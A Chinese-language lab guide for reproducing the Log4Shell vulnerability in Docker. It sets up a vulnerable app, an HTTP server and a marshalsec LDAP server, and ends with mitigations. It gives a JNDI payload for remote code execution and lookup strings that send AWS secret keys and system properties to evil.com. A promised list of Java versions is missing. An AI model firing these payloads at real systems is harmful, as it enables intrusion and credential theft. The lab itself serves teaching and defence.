此 Docker 实验环境使用了三个组件:
docker network create log4shell
$ docker build -t log4shell-vulnapp vulnapp
$ docker build -t log4shell-httpserver httpserver
$ docker build -t log4shell-marshalsec marshalsec
重要提示: 如果你使用的是 Windows PowerShell,请将 $(pwd) 替换为 ${pwd}。
$ docker run -d --name log4shell-vulnapp --network="log4shell" -p 8080:8080 log4shell-vulnapp
$ docker run -d --name log4shell-httpserver --network="log4shell" -p 3223:3223 -v $(pwd)/httpserver:/httpserver log4shell-httpserver
$ docker run -d --name log4shell-marshalsec --network="log4shell" -p 1389:1389 log4shell-marshalsec "http://<HostIp>:<Port>/#<RCEObjectName>"
打开存在漏洞的应用,输入一些虚假的测试凭据,然后打开 log4shell-vulnapp 容器的日志。
可以看到应用正在记录登录失败的尝试(例如,Incorrect login attempt for username 'test')。从这个简单的实验可以确定,我们可以控制日志字符串的某些部分(即用户名)。
我们可以传递类似下面的负载来远程执行代码:
${jndi:ldap://<HostIp>:1389/<RCEObjectName>}
远程代码执行可在任何 Java 版本上实现;但是,Java 版本低于以下列表的机器除外 [1]:
这是因为较新的版本默认将 JVM 系统属性 com.sun.jndi.ldap.object.trustURLCodebase 设置为 false,从而禁用了 JNDI 从任意 URL 代码库加载类的功能。然而,仅依赖新 Java 版本来防御此漏洞是有风险的,因为如果漏洞应用的类路径中包含某些 "gadget" 类,漏洞仍然可能被利用,而且 DNS 查询可能用于获取信息,例如环境变量。
有几种查找替换方式可以泄露受害机器上的敏感信息。最突出的是使用类似 [2, 3] 的负载:
${jndi:ldap://${env:AWS_SECRET_ACCESS_KEY}.evil.com/foo}
${jndi:ldap://${sys:user.name}.evil.com/foo}
${jndi:ldap://${main:x}.evil.com/foo}
${jndi:ldap://${spring:supersecretkey}.evil.com/foo}
注意: Spring 查找攻击字符串要求应用中包含 log4j-spring-cloud-config-client。[2]
缓解这一严重漏洞的最佳方法是将 log4j2 升级到 >= 2.17.0 版本。但是,也可以在不升级的情况下使用两种不同的方法完全缓解此问题。强烈建议无法升级到较新 Log4j2 版本的供应商 同时使用下面列出的两种缓解方法 [1]。
可以通过设置环境变量 LOG4J_FORMAT_MSG_NO_LOOKUPS 为 true 来(全局)禁用查找,方法是编辑 /etc/environment 文件并添加:LOG4J_FORMAT_MSG_NO_LOOKUPS=true [1]
或者,可以在运行有漏洞的 Java 应用时添加以下命令行标志来禁用特定 JVM 调用的查找:-Dlog4j2.formatMsgNoLookups=True [1]
当使用 log4j 版本早于 2.10.0 时,可以从任何 Java 应用中移除 JndiLookup 类。
[1] Menashe, S., (2021). 全部关于 Log4Shell 零日漏洞 - CVE-2021-44228. [在线] JFrog. 可访问:https://jfrog.com/blog/log4shell-0-day-vulnerability-all-you-need-to-know [访问日期 2021年12月24日].
[2] Goers, R., (2021). Log4j – Log4j 2 查找. [在线] logging.apache.org. 可访问:https://logging.apache.org/log4j/2.x/manual/lookups.html [访问日期 2021年12月24日].
[3] Oracle. (2021). 系统属性. [在线] 可访问:https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html [访问日期 2021年12月24日].